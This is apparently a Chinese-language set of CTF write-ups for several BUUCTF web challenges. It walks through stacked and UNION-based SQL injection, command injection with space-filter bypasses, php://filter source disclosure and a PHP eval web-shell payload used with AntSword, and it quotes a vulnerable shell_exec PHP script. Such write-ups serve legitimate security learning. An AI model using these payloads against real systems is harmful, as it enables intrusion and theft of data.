[SUCTF 2019]EasySQL
先判断一下是数字型还是字符型,输入1
有回显;然后各种试试试,都是nonono
还好,试了一下堆叠注入
爆出数据库:1;show databases;#
爆表:1;show tables;#
然后爆字段:1;show columns from FLAG;#,输入后回显Nonono.,猜测有被过滤
下面是学习众多大佬的方法
猜测出查询语句为:select “.$post[‘query’].”||flag from Flag
由于本题没有过滤*,用*查询flag中的所有字段,所以直接构造payload为:*,1
[GXYCTF2019]Ping Ping Ping
题目类型:命令执行+代码审计
提示/?ip=
输入/?ip=127.0.0.1,回显成功
显示当前的所有文件:`/?ip=127.0.0.1|ls
查到了两个php文件 查看flag.php:
?ip=127.0.0.1|cat flag.php`
这里提示/?ip= fxck your space!额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了
命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4
echo "<pre>";
print_r($a);
}
?>
学一下大佬的方法
变量拼接字符串——将a的值覆盖,然后进行绕过
构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag
查看源码
[极客大挑战 2019]Secret File
查看源码
<!DOCTYPE html>
<html>
<style type="text/css" >
#master {
position:absolute;
left:44%;
bottom:0;
text-align :center;
}
p,h1 {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title>蒋璐源的秘密</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下
提示查阅结束,返回上个目录,查看一下源码
此时也没有什么发现,抓个包试了试
这里提示secr3t.php,我们进入这个目录看一下
这里提示flag放在了flag.php里,进入falg.php目录
没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法
构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
拿去解密
[极客大挑战 2019]LoveSQL
先随便输入一个万能密码
找到回显位置
试试联合查询,一直到3的时候回显正常
2和3有回显位置
输入用户名为1
爆数据库password=:1' union select 1,2,database()#
得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#
——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
——id,username,password
爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
flag{6322f05a-d432-4a7e-a8e0-7de2e394dba6}
[极客大挑战 2019]Knife
很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑
构造payload:/?<?php eval($_POST["Syc"]);?>
打开蚁剑添加数据
URL地址为:http://094fc751-45ef-4f6e-961d-daee474ee7b4.node4.buuoj.cn/index.php
密码为:Syc
用蚁剑查看目录
查看根目录,找到flag
进入flag文件夹里